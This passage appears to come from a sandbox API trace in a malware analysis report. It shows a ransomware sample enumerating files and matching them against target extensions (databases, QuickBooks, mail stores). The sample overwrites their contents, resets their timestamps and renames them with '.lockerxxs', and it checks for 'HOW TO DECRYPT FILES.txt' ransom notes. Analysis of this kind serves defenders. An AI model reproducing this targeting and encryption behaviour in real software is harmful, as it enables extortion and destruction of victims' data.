(lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0136.059] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="UninstallCommon.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallCommon.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallCommon.sql" [0136.059] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallCommon.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallCommon.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallCommon.sql" [0136.059] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallCommon.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallCommon.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallCommon.sql" [0136.059] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallCommon.sql", lpString2="." | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallCommon.sql.") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallCommon.sql." [0136.060] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallCommon.sql.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallCommon.sql.lockerxxs") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallCommon.sql.lockerxxs" [0136.060] CreateFileA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallCommon.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\uninstallcommon.sql"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0136.156] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xf32 [0136.156] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xdb823eae, dwHighDateTime=0x1ca042b), lpLastAccessTime=0x407536*(dwLowDateTime=0xdb823eae, dwHighDateTime=0x1ca042b), lpLastWriteTime=0x40753e*(dwLowDateTime=0xae622c5c, dwHighDateTime=0x1c9ea11)) returned 1 [0136.156] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0136.156] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xf0c, lpOverlapped=0x0) returned 1 [0136.444] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallCommon.sql") returned="UninstallCommon.sql" [0136.444] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0136.444] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xf0c, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xf0c, lpOverlapped=0x0) returned 1 [0136.444] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0136.445] CloseHandle (hObject=0x8c) returned 1 [0136.445] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallCommon.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\uninstallcommon.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallCommon.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\uninstallcommon.sql.lockerxxs")) returned 1 [0136.446] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde87d9bf, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xde87d9bf, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xae648dbc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x1afd, dwReserved0=0xf00001f1, dwReserved1=0x4e00c4, cFileName="UninstallMembership.sql", cAlternateFileName="UNINST~2.SQL")) returned 1 [0136.446] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.447] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="UninstallMembership.sql") returned -1 [0136.447] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="UninstallMembership.sql") returned -1 [0136.447] lstrcmpiA (lpString1="", lpString2="UninstallMembership.sql") returned -1 [0136.447] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallCommon.sql") returned="UninstallCommon.sql" [0136.447] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0136.447] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0136.447] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0136.447] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0136.447] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="UninstallMembership.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallMembership.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallMembership.sql" [0136.447] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallMembership.sql", pszSpec="*.ems") returned 0 [0136.447] lstrlenA (lpString="*.ems") returned 5 [0136.447] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallMembership.sql", pszSpec="*.db") returned 0 [0136.447] lstrlenA (lpString="*.db") returned 4 [0136.447] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallMembership.sql", pszSpec="*.dbf") returned 0 [0136.447] lstrlenA (lpString="*.dbf") returned 5 [0136.447] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallMembership.sql", pszSpec="*.myox") returned 0 [0136.447] lstrlenA (lpString="*.myox") returned 6 [0136.447] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallMembership.sql", pszSpec="*.myo") returned 0 [0136.447] lstrlenA (lpString="*.myo") returned 5 [0136.447] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallMembership.sql", pszSpec="*.qbw") returned 0 [0136.447] lstrlenA (lpString="*.qbw") returned 5 [0136.447] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallMembership.sql", pszSpec="*.qbb") returned 0 [0136.447] lstrlenA (lpString="*.qbb") returned 5 [0136.448] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallMembership.sql", pszSpec="*.qbm") returned 0 [0136.448] lstrlenA (lpString="*.qbm") returned 5 [0136.448] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallMembership.sql", pszSpec="*.qbo") returned 0 [0136.448] lstrlenA (lpString="*.qbo") returned 5 [0136.448] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallMembership.sql", pszSpec="*.qbx") returned 0 [0136.448] lstrlenA (lpString="*.qbx") returned 5 [0136.448] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallMembership.sql", pszSpec="*.qba") returned 0 [0136.448] lstrlenA (lpString="*.qba") returned 5 [0136.448] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallMembership.sql", pszSpec="*.qby") returned 0 [0136.448] lstrlenA (lpString="*.qby") returned 5 [0136.448] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallMembership.sql", pszSpec="*.qbj") returned 0 [0136.448] lstrlenA (lpString="*.qbj") returned 5 [0136.448] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallMembership.sql", pszSpec="*.ofx") returned 0 [0136.448] lstrlenA (lpString="*.ofx") returned 5 [0136.448] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallMembership.sql", pszSpec="*.qif") returned 0 [0136.448] lstrlenA (lpString="*.qif") returned 5 [0136.448] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallMembership.sql", pszSpec="*.mye") returned 0 [0136.448] lstrlenA (lpString="*.mye") returned 5 [0136.448] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallMembership.sql", pszSpec="*.mbox") returned 0 [0136.448] lstrlenA (lpString="*.mbox") returned 6 [0136.448] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallMembership.sql", pszSpec="*.eml") returned 0 [0136.448] lstrlenA (lpString="*.eml") returned 5 [0136.448] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallMembership.sql", pszSpec="*.pst") returned 0 [0136.448] lstrlenA (lpString="*.pst") returned 5 [0136.448] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallMembership.sql", pszSpec="*.ost") returned 0 [0136.449] lstrlenA (lpString="*.ost") returned 5 [0136.449] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallMembership.sql", pszSpec="*.idx") returned 0 [0136.449] lstrlenA (lpString="*.idx") returned 5 [0136.449] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallMembership.sql", pszSpec="*.dbx") returned 0 [0136.449] lstrlenA (lpString="*.dbx") returned 5 [0136.449] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallMembership.sql", pszSpec="*.sql") returned 1 [0136.449] lstrlenA (lpString="*.sql") returned 5 [0136.449] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallMembership.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallMembership.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallMembership.sql" [0136.449] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallMembership.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallMembership.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallMembership.sql" [0136.528] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallMembership.sql") returned="UninstallMembership.sql" [0136.528] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0136.528] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1ad7, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1ad7, lpOverlapped=0x0) returned 1 [0136.536] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0136.536] CloseHandle (hObject=0x8c) returned 1 [0136.536] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallMembership.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\uninstallmembership.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallMembership.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\uninstallmembership.sql.lockerxxs")) returned 1 [0136.537] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde8c9c79, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xde8c9c79, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xae66ef1c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x27d3, dwReserved0=0x4e0244, dwReserved1=0x4e0000, cFileName="UninstallPersistSqlState.sql", cAlternateFileName="UNINST~3.SQL")) returned 1 [0136.537] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.537] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="UninstallPersistSqlState.sql") returned -1 [0136.537] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="UninstallPersistSqlState.sql") returned -1 [0136.537] lstrcmpiA (lpString1="", lpString2="UninstallPersistSqlState.sql") returned -1 [0136.537] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallMembership.sql") returned="UninstallMembership.sql" [0136.537] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0136.537] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0136.617] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallPersistSqlState.sql") returned="UninstallPersistSqlState.sql" [0136.617] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0136.617] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x27ad, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x27ad, lpOverlapped=0x0) returned 1 [0136.618] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0136.618] CloseHandle (hObject=0x8c) returned 1 [0136.618] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallPersistSqlState.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\uninstallpersistsqlstate.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallPersistSqlState.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\uninstallpersistsqlstate.sql.lockerxxs")) returned 1 [0136.620] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddded8f4, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xddded8f4, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xae66ef1c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x1d41, dwReserved0=0xed0001ec, dwReserved1=0x4e00c4, cFileName="UninstallPersonalization.sql", cAlternateFileName="UNINST~4.SQL")) returned 1 [0136.620] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.620] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="UninstallPersonalization.sql") returned -1 [0136.620] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="UninstallPersonalization.sql") returned -1 [0136.620] lstrcmpiA (lpString1="", lpString2="UninstallPersonalization.sql") returned -1 [0136.620] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallPersistSqlState.sql") returned="UninstallPersistSqlState.sql" [0136.620] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0136.620] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0136.653] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallPersonalization.sql") returned="UninstallPersonalization.sql" [0136.653] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0136.653] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1d1b, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1d1b, lpOverlapped=0x0) returned 1 [0136.654] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0136.655] CloseHandle (hObject=0x8c) returned 1 [0136.655] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallPersonalization.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\uninstallpersonalization.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallPersonalization.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\uninstallpersonalization.sql.lockerxxs")) returned 1 [0136.656] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb8e257f, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdb8e257f, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xae69507c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x1298, dwReserved0=0xed0001ec, dwReserved1=0x4e00c4, cFileName="UnInstallProfile.SQL", cAlternateFileName="UN6C09~1.SQL")) returned 1 [0136.656] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.656] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="UnInstallProfile.SQL") returned -1 [0136.656] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="UnInstallProfile.SQL") returned -1 [0136.656] lstrcmpiA (lpString1="", lpString2="UnInstallProfile.SQL") returned -1 [0136.656] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallPersonalization.sql") returned="UninstallPersonalization.sql" [0136.656] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0136.656] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0136.776] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UnInstallProfile.SQL") returned="UnInstallProfile.SQL" [0136.776] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0136.777] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1272, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1272, lpOverlapped=0x0) returned 1 [0136.778] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0136.778] CloseHandle (hObject=0x8c) returned 1 [0136.778] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UnInstallProfile.SQL" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\uninstallprofile.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UnInstallProfile.SQL.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\uninstallprofile.sql.lockerxxs")) returned 1 [0136.779] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda7544a1, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xda7544a1, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xae6bb1dc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x16ed, dwReserved0=0xdd0001dc, dwReserved1=0x4e00c4, cFileName="UninstallRoles.sql", cAlternateFileName="UN6B2E~1.SQL")) returned 1 [0136.780] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.780] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="UninstallRoles.sql") returned -1 [0136.780] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="UninstallRoles.sql") returned -1 [0136.780] lstrcmpiA (lpString1="", lpString2="UninstallRoles.sql") returned -1 [0136.780] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UnInstallProfile.SQL") returned="UnInstallProfile.SQL" [0136.780] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0136.780] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0136.787] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallRoles.sql") returned="UninstallRoles.sql" [0136.787] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0136.787] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x16c7, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x16c7, lpOverlapped=0x0) returned 1 [0136.788] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0136.789] CloseHandle (hObject=0x8c) returned 1 [0136.789] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallRoles.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\uninstallroles.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallRoles.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\uninstallroles.sql.lockerxxs")) returned 1 [0136.790] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdda5b83c, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdda5b83c, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xae837f9c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x25db, dwReserved0=0xf00001f1, dwReserved1=0x4e00c4, cFileName="UninstallSqlState.sql", cAlternateFileName="UN6AC0~1.SQL")) returned 1 [0136.790] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.790] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="UninstallSqlState.sql") returned -1 [0136.790] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="UninstallSqlState.sql") returned -1 [0136.790] lstrcmpiA (lpString1="", lpString2="UninstallSqlState.sql") returned -1 [0136.790] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallRoles.sql") returned="UninstallRoles.sql" [0136.790] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0136.790] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0136.795] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallSqlState.sql") returned="UninstallSqlState.sql" [0136.795] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 